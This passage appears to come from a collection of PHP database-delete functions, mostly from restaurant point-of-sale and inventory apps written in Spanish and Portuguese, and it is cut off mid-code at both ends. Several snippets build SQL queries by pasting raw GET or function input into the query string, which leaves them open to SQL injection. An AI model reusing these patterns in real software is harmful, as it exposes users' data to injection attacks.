$this->dbh->prepare($sql5);\n\t\t$stmt->execute( array(strip_tags($_GET[\"codventa\"])));\n\t\t$num = $stmt->rowCount();\n\t\t \n\t\t if($roww = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$p[] = $roww;\n\t\t\t}\n\t\t$preciocompra = ($roww[\"preciocompra\"]== \"\" ? \"0\" : $roww[\"preciocompra\"]);\n\t\t$importeivano = ($roww[\"importe\"]== \"\" ? \"0\" : $roww[\"importe\"]);\n\t\t$importe2 = ($roww[\"importe2\"]== \"\" ? \"0\" : $roww[\"importe2\"]);\n\t\t\nif(base64_decode($_GET[\"ivaproducto\"])==\"SI\"){\t\n\n\t\t$sql = \" update ventas set \"\n\t\t\t .\" subtotalivasive = ?, \"\n\t\t\t .\" totalivave = ?, \"\n\t\t\t .\" totaldescuentove = ?, \"\n\t\t\t .\" totalpago= ?, \"\n\t\t\t .\" montodevuelto= ? \"\n\t\t\t .\" where \"\n\t\t\t .\" codventa = ?;\n\t\t\t \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $subtotal);\n\t\t$stmt->bindParam(2, $totaliva);\n\t\t$stmt->bindParam(3, $totaldescuentove);\n\t\t$stmt->bindParam(4, $totalpago);\n\t\t$stmt->bindParam(5, $devuelto);\n\t\t$stmt->bindParam(6, $codventa);\n\t\t\n\t\t$subtotal= strip_tags($importeivasi);\n $totaliva= rount($subtotal*$iva,2);\n\t\t$tot= rount($subtotal+$subtotalivanove+$totaliva,2);\n\t\t$totaldescuentove= rount($tot*$descuento,2);\n\t\t$totalpago= rount($tot-$totaldescuentove,2);\n\t\t$devuelto= ($montopagado== \"0.00\" ? \"0\" : rount($montopagado-$totalpago,2));\n\t\t$codventa = strip_tags($_GET[\"codventa\"]);\n\t\t$stmt->execute();\n\n#################### AQUI AGREGAMOS EL INGRESO A ARQUEO DE CAJA ####################\nif (base64_decode($_GET[\"tipopagove\"])==\"CONTADO\"){\n\n$sql = \"select ingresos from arqueocaja where codcaja = '\".strip_tags($_GET[\"codcaja\"]).\"' and statusarqueo = '1'\";\n\t\tforeach ($this->dbh->query($sql) as $row)\n\t\t{\n\t\t\t$this->p[] = $row;\n\t\t}\n\t\t$ingreso = ($row['ingresos']== \"\" ? \"0.00\" : $row['ingresos']);\n\n\t\t$sql = \" update arqueocaja set \"\n\t\t.\" ingresos = ? \"\n\t\t.\" where \"\n\t\t.\" codcaja = ? and statusarqueo = '1';\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $txtTotal);\n\t\t$stmt->bindParam(2, $codcaja);\n\n\t\t$calculo=rount($totaldb-$totalpago,2);\n\t\t$txtTotal = rount($ingreso-$calculo,2);\n\t\t$codcaja = strip_tags($_GET[\"codcaja\"]);\n\t\t$stmt->execute();\n\t}\n#################### AQUI AGREGAMOS EL INGRESO A ARQUEO DE CAJA ####################\n\t\t\n\t\t } else {\n\n $sql = \" update ventas set \"\n\t\t\t .\" subtotalivanove = ?, \"\n\t\t\t .\" totaldescuentove = ?, \"\n\t\t\t .\" totalpago= ?, \"\n\t\t\t .\" montodevuelto= ? \"\n\t\t\t .\" where \"\n\t\t\t .\" codventa = ?;\n\t\t\t \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $subtotal);\n\t\t$stmt->bindParam(2, $totaldescuentove);\n\t\t$stmt->bindParam(3, $totalpago);\n\t\t$stmt->bindParam(4, $devuelto);\n\t\t$stmt->bindParam(5, $codventa);\n\t\t\n\t\t$subtotal= strip_tags($importeivano);\n\t\t$tot= rount($subtotal+$subtotalivasive+$totalivave,2);\n\t\t$totaldescuentove= rount($tot*$descuento,2);\n\t\t$totalpago= rount($tot-$totaldescuentove,2);\n\t\t$devuelto= ($montopagado== \"0.00\" ? \"0\" : rount($montopagado-$totalpago,2));\n\t\t$codventa = strip_tags($_GET[\"codventa\"]);\n\t\t$stmt->execute();\n\n#################### AQUI AGREGAMOS EL INGRESO A ARQUEO DE CAJA ####################\nif (base64_decode($_GET[\"tipopagove\"])==\"CONTADO\"){\n\n$sql = \"select ingresos from arqueocaja where codcaja = '\".strip_tags($_GET[\"codcaja\"]).\"' and statusarqueo = '1'\";\n\t\tforeach ($this->dbh->query($sql) as $row)\n\t\t{\n\t\t\t$this->p[] = $row;\n\t\t}\n\t\t$ingreso = ($row['ingresos']== \"\" ? \"0.00\" : $row['ingresos']);\n\n\t\t$sql = \" update arqueocaja set \"\n\t\t.\" ingresos = ? \"\n\t\t.\" where \"\n\t\t.\" codcaja = ? and statusarqueo = '1';\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $txtTotal);\n\t\t$stmt->bindParam(2, $codcaja);\n\n\t\t$calculo=rount($totaldb-$totalpago,2);\n\t\t$txtTotal = rount($ingreso-$calculo,2);\n\t\t$codcaja = strip_tags($_GET[\"codcaja\"]);\n\t\t$stmt->execute();\n\t}\n#################### AQUI AGREGAMOS EL INGRESO A ARQUEO DE CAJA ####################\n\t\t\n\t } \n\necho \"<div class='alert alert-info'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-check-square-o'></span> EL DETALLE DE VENTA DE PRODUCTO FUE ELIMINADO EXITOSAMENTE </center>\";\necho \"</div>\";\nexit;\n\t\t}\n\t\telse\n\t\t{\n\n\t\t\t$sql2 = \"select existencia from productos where codproducto = ?\";\n\t\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t\t$num = $stmt->rowCount();\n\n\t\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$p[] = $row;\n\t\t\t}\n\t\t\t$existenciadb = $p[0][\"existencia\"];\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t\t$sql = \" update productos set \"\n\t\t\t.\" existencia = ? \"\n\t\t\t.\" where \"\n\t\t\t.\" codproducto = ?;\n\t\t\t\";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1, $existencia);\n\t\t\t$stmt->bindParam(2, $codproducto);\n\t\t\t$cantventa = strip_tags(base64_decode($_GET[\"cantventa\"]));\n\t\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t\t$existencia = $existenciadb + $cantventa;\n\t\t\t$stmt->execute();\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t\t$sql = \" delete from kardexproductos where codproceso = ? and codproducto = ?\";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1,$codventa);\n\t\t\t$stmt->bindParam(2,$codproducto);\n\t\t\t$codventa = strip_tags(strip_tags($_GET[\"codventa\"]));\n\t\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t\t$stmt->execute();\n\n\n################## CONSULTO LA TABLA PARA VERIFICAR SI EXISTEN PRODUCTOS #######################\n$sql = \"select * from productosvsingredientes where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->execute( array($codproducto));\n\t\t$num = $stmt->rowCount();\nif($num>0) {\n\n\n\t$sql = \"select * from productosvsingredientes LEFT JOIN ingredientes ON productosvsingredientes.codingrediente = ingredientes.codingrediente where productosvsingredientes.codproducto = '\".$codproducto.\"'\";\n\n\t$array=array();\n\n\tforeach ($this->dbh->query($sql) as $row)\n\t{\n\t\t$this->p[] = $row;\n\n\t\t$codproducto = $row['codproducto'];\n\t\t$codingrediente = $row['codingrediente'];\n\t\t$cantracion = $row['cantracion'];\n\t\t$cantingrediente = $row['cantingrediente'];\n\t\t$costoingrediente = $row['costoingrediente'];\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexingredientes where codprocesoing = ? and codproducto = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codventa);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$stmt->bindParam(3,$codingrediente);\n\t\t$codventa = strip_tags(strip_tags($_GET[\"codventa\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$codingrediente = strip_tags($codingrediente);\n\t\t$stmt->execute();\n\n\n\t\t$update = \" update ingredientes set \"\n\t\t.\" cantingrediente = ? \"\n\t\t.\" where \"\n\t\t.\" codingrediente = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($update);\n\t\t$stmt->bindParam(1, $cantidadracion);\n\t\t$stmt->bindParam(2, $codingrediente);\n\n\t\t$cantventa = strip_tags(base64_decode($_GET[\"cantventa\"]));\n\t\t$racion = rount($cantracion*$cantventa,2);\n\t\t$cantidadracion = rount($cantingrediente+$racion,2);\n\t\t$stmt->execute();\n\n\n\t\t }\n\n}\n################### FIN DE CONSULTO LA TABLA PARA VERIFICAR SI EXISTEN PRODUCTOS ###################\n\n\n#################### AQUI AGREGAMOS EL INGRESO A ARQUEO DE CAJA ####################\n\tif (base64_decode($_GET[\"tipopagove\"])==\"CONTADO\"){\n\n\t\t$sql4 = \"select * from ventas where codventa = ? \";\n\t\t$stmt = $this->dbh->prepare($sql4);\n\t\t$stmt->execute( array(strip_tags($_GET[\"codventa\"])) );\n\t\t$num = $stmt->rowCount();\n\n\t\t\tif($roww = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$paea[] = $roww;\n\t\t\t}\n\t\t$totaldb = $roww[\"totalpago\"];\n\n\t\t$sql = \"select ingresos from arqueocaja where codcaja = '\".strip_tags($_GET[\"codcaja\"]).\"' and statusarqueo = '1'\";\n\t\tforeach ($this->dbh->query($sql) as $row)\n\t\t{\n\t\t\t$this->p[] = $row;\n\t\t}\n\t\tif (isset($row['ingresos'])) { $ingreso = $row['ingresos']; } else { $ingreso ='0.00'; }\n\t\t//$ingreso = $row['ingresos'];\n\n\t\t$sql = \" update arqueocaja set \"\n\t\t.\" ingresos = ? \"\n\t\t.\" where \"\n\t\t.\" codcaja = ? and statusarqueo = '1';\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $txtTotal);\n\t\t$stmt->bindParam(2, $codcaja);\n\n\t\t$txtTotal = rount($ingreso-$totaldb,2);\n\t\t$codcaja = strip_tags($_GET[\"codcaja\"]);\n\t\t$stmt->execute();\n\t}\n#################### AQUI AGREGAMOS EL INGRESO A ARQUEO DE CAJA ####################\n\n#################### AQUI ACTUALIZAMOS EL STATUS DE MESA ####################\n\t\t$sql = \" update mesas set \"\n\t\t.\" statusmesa = ? \"\n\t\t.\" where \"\n\t\t.\" codmesa = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $statusmesa);\n\t\t$stmt->bindParam(2, $codmesa);\n\n\t\t$statusmesa = strip_tags('0');\n\t\t$codmesa = base64_decode($_GET[\"codmesa\"]);\n\t\t$stmt->execute();\n#################### AQUI ACTUALIZAMOS EL STATUS DE MESA ####################\n\n\t\t$sql = \" delete from ventas where codventa = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codventa);\n\t\t$codventa = strip_tags($_GET[\"codventa\"]);\n\t\t$stmt->execute();\n\n\t\t$sql = \" delete from detalleventas where coddetalleventa = ? \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$coddetalleventa);\n\t\t$coddetalleventa = base64_decode($_GET[\"coddetalleventa\"]);\n\t\t$stmt->execute();\n\n\techo \"<div class='alert alert-info'>\";\n\techo \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\n\techo \"<center><span class='fa fa-check-square-o'></span> EL DETALLE DE VENTA DE PRODUCTO FUE ELIMINADO EXITOSAMENTE </center>\";\n\techo \"</div>\";\n\texit;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\techo \"<div class='alert alert-info'>\";\n\techo \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\n\techo \"<center><span class='fa fa-check-square-o'></span> USTED NO PUEDE ELIMINAR DETALLES EN VENTAS, NO ERES EL ADMINISTRADOR DEL SISTEMA</center>\";\n\techo \"</div>\";\n\texit;\n\t\t}\n\t}", "public function delete () {\n $this->db->delete('emprestimos', array('id_emprestimo' => $this->id_emprestimo));\n }", "public function EliminarDetallesVentasPedidosProductos()\n{\t\t\n\tself::SetNames();\n\t$sql = \" select * from detalleventas where codventa = ? \";\n\t$stmt = $this->dbh->prepare($sql);\n\t$stmt->execute( array(base64_decode($_GET[\"codventa\"])) );\n\t$num = $stmt->rowCount();\n\tif($num > 1)\n\t{\n\n\t\t$sql2 = \"select existencia from productos where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$p[] = $row;\n\t\t\t}\n\t\t\t$existenciadb = $p[0][\"existencia\"];\n\n\t\t\t$sql = \" delete from detalleventas where coddetalleventa = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1,$coddetalleventa);\n\t\t\t$coddetalleventa = base64_decode($_GET[\"coddetalleventa\"]);\n\t\t\t$stmt->execute();\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t\t$sql = \" update productos set \"\n\t\t\t.\" existencia = ? \"\n\t\t\t.\" where \"\n\t\t\t.\" codproducto = ?;\n\t\t\t\";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1, $existencia);\n\t\t\t$stmt->bindParam(2, $codproducto);\n\t\t\t$cantventa = strip_tags(base64_decode($_GET[\"cantventa\"]));\n\t\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t\t$existencia = $existenciadb + $cantventa;\n\t\t\t$stmt->execute();\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t\t$sql = \" delete from kardexproductos where codproceso = ? and codproducto = ?\";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1,$codventa);\n\t\t\t$stmt->bindParam(2,$codproducto);\n\t\t\t$codventa = strip_tags(base64_decode($_GET[\"codventa\"]));\n\t\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t\t$stmt->execute();\n\n################## CONSULTO LA TABLA PARA VERIFICAR SI EXISTEN PRODUCTOS #######################\n$sql = \"select * from productosvsingredientes where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->execute( array($codproducto));\n\t\t$num = $stmt->rowCount();\nif($num>0) {\n\n\t$sql = \"select * from productosvsingredientes LEFT JOIN ingredientes ON productosvsingredientes.codingrediente = ingredientes.codingrediente where productosvsingredientes.codproducto = '\".$codproducto.\"'\";\n\n\t $array=array();\n\n\t\tforeach ($this->dbh->query($sql) as $row)\n\t\t{\n\t\t\t$this->p[] = $row;\n\n\t\t\t$codproducto = $row['codproducto'];\n\t\t\t$codingrediente = $row['codingrediente'];\n\t\t\t$cantracion = $row['cantracion'];\n\t\t\t$cantingrediente = $row['cantingrediente'];\n\t\t\t$costoingrediente = $row['costoingrediente'];\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexingredientes where codprocesoing = ? and codproducto = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codventa);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$stmt->bindParam(3,$codingrediente);\n\t\t$codventa = strip_tags(base64_decode($_GET[\"codventa\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$codingrediente = strip_tags($codingrediente);\n\t\t$stmt->execute();\n\n\n\t\t\t$update = \" update ingredientes set \"\n\t\t\t.\" cantingrediente = ? \"\n\t\t\t.\" where \"\n\t\t\t.\" codingrediente = ?;\n\t\t\t\";\n\t\t\t$stmt = $this->dbh->prepare($update);\n\t\t\t$stmt->bindParam(1, $cantidadracion);\n\t\t\t$stmt->bindParam(2, $codingrediente);\n\n\t\t\t$cantventa = strip_tags(base64_decode($_GET[\"cantventa\"]));\n\t\t\t$racion = rount($cantracion*$cantventa,2);\n\t\t\t$cantidadracion = rount($cantingrediente+$racion,2);\n\t\t\t$stmt->execute();\n\n\n\t\t }\n\n}\n################### FIN DE CONSULTO LA TABLA PARA VERIFICAR SI EXISTEN PRODUCTOS #################\n\n\n\t\t\t$sql4 = \"select * from ventas where codventa = ? \";\n\t\t$stmt = $this->dbh->prepare($sql4);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codventa\"])) );\n\t\t$num = $stmt->rowCount();\n\n\t\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$paea[] = $row;\n\t\t\t}\n\t\t\t$subtotalivasive = $paea[0][\"subtotalivasive\"];\n\t\t\t$subtotalivanove = $paea[0][\"subtotalivanove\"];\n\t\t\t$iva = $paea[0][\"ivave\"]/100;\n\t\t\t$descuento = $paea[0][\"descuentove\"]/100;\n\t\t\t$totalivave = $paea[0][\"totalivave\"];\n\t\t\t$totaldescuentove = $paea[0][\"totaldescuentove\"];\n\t\t\t\n\t\t\n$sql3 = \"select sum(importe) as importe, sum(importe2) as importe2, sum(preciocompra) as preciocompra from detalleventas where codventa = ? and ivaproducto = 'SI'\";\n\t\t$stmt = $this->dbh->prepare($sql3);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codventa\"])));\n\t\t$num = $stmt->rowCount();\n\t\t \n\t\t if($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$p[] = $row;\n\t\t\t}\n\t\t$preciocompraiva = $row[\"preciocompra\"];\n\t\t$importeiva = $row[\"importe\"];\n\t\t$importe2iva = $row[\"importe2\"];\n\t\n$sql5 = \"select sum(importe) as importe, sum(importe2) as importe2, sum(preciocompra) as preciocompra from detalleventas where codventa = ? and ivaproducto = 'NO'\";\n\t\t$stmt = $this->dbh->prepare($sql5);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codventa\"])));\n\t\t$num = $stmt->rowCount();\n\t\t \n\t\t if($rov = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$pae[] = $rov;\n\t\t\t}\n\t\t$preciocompra = $rov[\"preciocompra\"];\n\t\t$importe = $rov[\"importe\"];\n\t\t$importe2 = $rov[\"importe2\"];\n\t\t\n\t\t$sql = \" update ventas set \"\n\t\t\t .\" subtotalivasive = ?, \"\n\t\t\t .\" subtotalivanove = ?, \"\n\t\t\t .\" totalivave = ?, \"\n\t\t\t .\" totaldescuentove = ?, \"\n\t\t\t .\" totalpago= ?, \"\n\t\t\t .\" totalpago2= ? \"\n\t\t\t .\" where \"\n\t\t\t .\" codventa = ?;\n\t\t\t \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $subtotalivasive);\n\t\t$stmt->bindParam(2, $subtotalivanove);\n\t\t$stmt->bindParam(3, $totaliva);\n\t\t$stmt->bindParam(4, $totaldescuentove);\n\t\t$stmt->bindParam(5, $total);\n\t\t$stmt->bindParam(6, $total2);\n\t\t$stmt->bindParam(7, $codventa);\n\t\t\n\t\t$subtotalivasive= rount($importeiva,2);\n\t\t$subtotalivanove= rount($importe,2);\n $totaliva= rount($subtotalivasive*$iva,2);\n\t\t$tot= rount($subtotalivasive+$subtotalivanove+$totaliva,2);\n\t\t$totaldescuentove= rount($tot*$descuento,2);\n\t\t$total= rount($tot-$totaldescuentove,2);\n\t\t$total2= rount($preciocompra,2);\n\t\t$codventa = strip_tags(base64_decode($_GET[\"codventa\"]));\n\t\t$stmt->execute();\n\n\t\t\t\t\t\tunset($_SESSION[\"CarritoVentas\"]);\n\n\t?>\n\t\t<script type='text/javascript' language='javascript'>\n\t alert('EL PEDIDO DE PRODUCTOS FUE ELIMINADOS, \\nDE LA MESA EXITOSAMENTE') \n </script> \n\t\t<?php \n\t\t\texit;\n\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\n\t\t\t$sql2 = \"select existencia from productos where codproducto = ?\";\n\t\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t\t$num = $stmt->rowCount();\n\n\t\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$p[] = $row;\n\t\t\t}\n\t\t\t$existenciadb = $p[0][\"existencia\"];\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t\t$sql = \" update productos set \"\n\t\t\t.\" existencia = ? \"\n\t\t\t.\" where \"\n\t\t\t.\" codproducto = ?;\n\t\t\t\";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1, $existencia);\n\t\t\t$stmt->bindParam(2, $codproducto);\n\t\t\t$cantventa = strip_tags(base64_decode($_GET[\"cantventa\"]));\n\t\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t\t$existencia = $existenciadb + $cantventa;\n\t\t\t$stmt->execute();\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t\t$sql = \" delete from kardexproductos where codproceso = ? and codproducto = ?\";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1,$codventa);\n\t\t\t$stmt->bindParam(2,$codproducto);\n\t\t\t$codventa = strip_tags(base64_decode($_GET[\"codventa\"]));\n\t\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t\t$stmt->execute();\n\n\n################## CONSULTO LA TABLA PARA VERIFICAR SI EXISTEN PRODUCTOS #######################\n$sql = \"select * from productosvsingredientes where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->execute( array($codproducto));\n\t\t$num = $stmt->rowCount();\nif($num>0) {\n\n\t$sql = \"select * from productosvsingredientes LEFT JOIN ingredientes ON productosvsingredientes.codingrediente = ingredientes.codingrediente where productosvsingredientes.codproducto = '\".$codproducto.\"'\";\n\n\t $array=array();\n\n\t\tforeach ($this->dbh->query($sql) as $row)\n\t\t{\n\t\t\t$this->p[] = $row;\n\n\t\t\t$codproducto = $row['codproducto'];\n\t\t\t$codingrediente = $row['codingrediente'];\n\t\t\t$cantracion = $row['cantracion'];\n\t\t\t$cantingrediente = $row['cantingrediente'];\n\t\t\t$costoingrediente = $row['costoingrediente'];\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexingredientes where codprocesoing = ? and codproducto = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codventa);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$stmt->bindParam(3,$codingrediente);\n\t\t$codventa = strip_tags(base64_decode($_GET[\"codventa\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$codingrediente = strip_tags($codingrediente);\n\t\t$stmt->execute();\n\n\t\t\t$update = \" update ingredientes set \"\n\t\t\t.\" cantingrediente = ? \"\n\t\t\t.\" where \"\n\t\t\t.\" codingrediente = ?;\n\t\t\t\";\n\t\t\t$stmt = $this->dbh->prepare($update);\n\t\t\t$stmt->bindParam(1, $cantidadracion);\n\t\t\t$stmt->bindParam(2, $codingrediente);\n\n\t\t\t$cantventa = strip_tags(base64_decode($_GET[\"cantventa\"]));\n\t\t\t$racion = rount($cantracion*$cantventa,2);\n\t\t\t$cantidadracion = rount($cantingrediente+$racion,2);\n\t\t\t$stmt->execute();\n\n\t\t }\n}\n################### FIN DE CONSULTO LA TABLA PARA VERIFICAR SI EXISTEN PRODUCTOS ###################\n\n\t\t\t$sql = \" delete from ventas where codventa = ?\";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1,$codventa);\n\t\t\t$codventa = base64_decode($_GET[\"codventa\"]);\n\t\t\t$stmt->execute();\n\n\t\t\t$sql = \" delete from detalleventas where coddetalleventa = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1,$coddetalleventa);\n\t\t\t$coddetalleventa = base64_decode($_GET[\"coddetalleventa\"]);\n\t\t\t$stmt->execute();\n\n#################### AQUI ACTUALIZAMOS EL STATUS DE MESA ####################\n\t\t\t$sql = \" update mesas set \"\n\t\t\t.\" statusmesa = ? \"\n\t\t\t.\" where \"\n\t\t\t.\" codmesa = ?;\n\t\t\t\";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1, $statusmesa);\n\t\t\t$stmt->bindParam(2, $codmesa);\n\n\t\t\t$statusmesa = strip_tags('0');\n\t\t\t$codmesa = base64_decode($_GET[\"codmesa\"]);\n\t\t\t$stmt->execute();\n#################### AQUI ACTUALIZAMOS EL STATUS DE MESA ####################\n\n?>\n\t\t<script type='text/javascript' language='javascript'>\n\t alert('LOS PEDIDOS DE PRODUCTOS HAN SIDO ELIMINADOS, \\nDE LA MESA EXITOSAMENTE') \n </script> \n\t\t<?php \n\t\texit;\n\t}\n}", "public function excluir()\n {\n $pdo = new \\PDO(DSN, USER, PASSWD);\n //cria sql\n $sql = \"DELETE FROM EncontroComDeus WHERE id = ?\n \";\n\n //prepara sql\n $stm = $pdo->prepare($sql);\n //trocar valores\n $stm->bindParam(1, $this->id );\n\n $resposta = $stm->execute();\n\n $erro = $stm->errorInfo();\n\n //fechar conexão\n $pdo = null ;\n\n return $resposta;\n\n }", "function eliminar_insumos($objeto){\n\t\t$sql=\"\tDELETE FROM\n\t\t\t\t\t app_producto_material\n\t\t\t\tWHERE\n\t\t\t\t\tid_producto =\".$objeto['id'];\n\t\t// return $sql;\n\t\t$result = $this->query($sql);\n\n\t\treturn $result;\n\t}", "private function eliminarEmpleadoRepetido()\n {\n //Sino me los trata como strings\n $this->empleados = array_unique($this->empleados, SORT_REGULAR);\n }", "public function eliminaReserva($cod) {\n // 1ro actualizamos la existencia de los productos adicionando lo que no se ha vendido\n $modelocantidad = $this->db->query(\"SELECT p.modelo,(d.cantidad+p.existencia) as existencia FROM producto p,detalle_venta d WHERE p.modelo LIKE d.modelo AND d.cod_venta LIKE '\" . $cod . \"';\")->result_array(); //obtenemos los datos del detalle\n if (sizeof($modelocantidad) > 0) {\n //actualizamos la existencia en producto\n $this->db->update_batch('producto', $modelocantidad, 'modelo');\n if ($this->db->affected_rows() > 0) {\n //3ro eliminamos el detalle de venta de la venta\n $this->db->query(\"delete from detalle_venta where cod_venta like '\" . $cod . \"'\");\n if ($this->db->affected_rows() > 0) {\n //eliminamos los datos de la venta\n $this->db->query(\"delete from venta where cod_venta like '\" . $cod . \"'\");\n if ($this->db->affected_rows() > 0) {\n return \"Exito! Se ha eliminado la reserva de\"; //el nombre se muestra en jquery\n } else {\n return \"Error: No se ha eliminado la reserva de\";\n }\n } else {\n return \"Error: No se ha eliminado el Detalle de la venta de\";\n }\n } else {\n return \"Error: No se ha actualizado la existencia de productos\";\n }\n } else {\n return \"No se tiene registro del detalle de la venta de\";\n }\n }", "public function EliminarProveedores()\n\t\t{\n\t\t\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\t\t\t$sql = \" select codproveedor from compras where codproveedor = ? \";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->execute( array(base64_decode($_GET[\"codproveedor\"])) );\n\t\t\t\t$num = $stmt->rowCount();\n\t\t\t\tif($num == 0)\n\t\t\t\t{\n\n\t\t\t\t\t$sql = \" delete from proveedores where codproveedor = ? \";\n\t\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t\t$stmt->bindParam(1,$codproveedor);\n\t\t\t\t\t$codproveedor = base64_decode($_GET[\"codproveedor\"]);\n\t\t\t\t\t$stmt->execute();\n\n\t\t\t\t\theader(\"Location: proveedores?mesage=1\");\n\t\t\t\t\texit;\n\n\t\t\t\t}else {\n\n\t\t\t\t\theader(\"Location: proveedores?mesage=2\");\n\t\t\t\t\texit;\n\t\t\t\t} \n\n\t\t\t} else {\n\n\t\t\t\theader(\"Location: proveedores?mesage=3\");\n\t\t\t\texit;\n\t\t\t}\t\n\t\t}", "public function excluirAnuncio($id){\n global $pdo;\n $sql = $pdo->prepare(\"DELETE FROM anuncios_imagens WHERE id_anuncio = :id_anuncio\"); // vai remover o registro de imagens\n $sql->bindValue(\":id_anuncio\", $id);\n $sql->execute(); \n\n $sql = $pdo->prepare(\"DELETE FROM anuncios WHERE id = :id\"); \n $sql->bindValue(\":id\", $id);\n $sql->execute(); \n\n \n\n\n\n }", "function removeRegistro($id) {\n GLOBAL $con;\n\n //busca info\n $querybusca = \"select * from kardexs where id='\" . $id . \"'\";\n $qry = mysql_query($querybusca);\n $linha = mysql_fetch_assoc($qry);\n\n //Apagua\n $query = \"delete from kardexs where id='\" . $id . \"'\";\n mysql_query($query, $con) or die(mysql_error());\n\n if (saldoExiste($linha['produto_id'], 